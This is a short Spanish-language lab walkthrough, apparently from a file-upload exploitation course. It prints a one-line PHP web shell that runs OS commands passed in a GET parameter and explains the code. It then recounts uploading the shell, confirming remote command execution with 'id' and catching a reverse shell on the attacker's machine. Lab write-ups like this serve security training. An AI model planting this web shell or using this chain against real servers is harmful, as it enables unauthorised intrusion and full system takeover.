Laboratorio 1


Vamos crearnos un archivo shell.php que es el cual usaremos en todos los laboratorios.

El código PHP <?php system($_GET['cmd']); ?>, es un ejemplo de cómo se puede ejecutar un comando del sistema operativo a través de una solicitud HTTP utilizando el método GET. Aquí hay una explicación paso a paso:

  1. <?php: Esto indica el comienzo de un bloque de código PHP.

  2. system(): Esta es una función en PHP que se utiliza para ejecutar comandos del sistema operativo. Toma como argumento una cadena que contiene el comando que se desea ejecutar.

  3. $_GET['cmd']: Esta es una forma de acceder a los parámetros pasados a través de la URL utilizando el método GET. En este caso, el código PHP espera que se pase un parámetro llamado 'cmd' a través de la URL.

Entonces, si alguien visita una URL como esta, http://tudominio.com/tuarchivo.php?cmd=ls


En la primer laboratorio subimos y nos da la ruta donde se aloja el archivo.


Si invocamos el archivo sunido y hacemos un id observamos que tenemos ejecucion remota de comandos.


Ahora como controlamos todo el input pues nos enviamos una revershell a nuestra maquina de atacante.


Tenemos la conexion y ahora estamos dentro de la maquina

Última actualización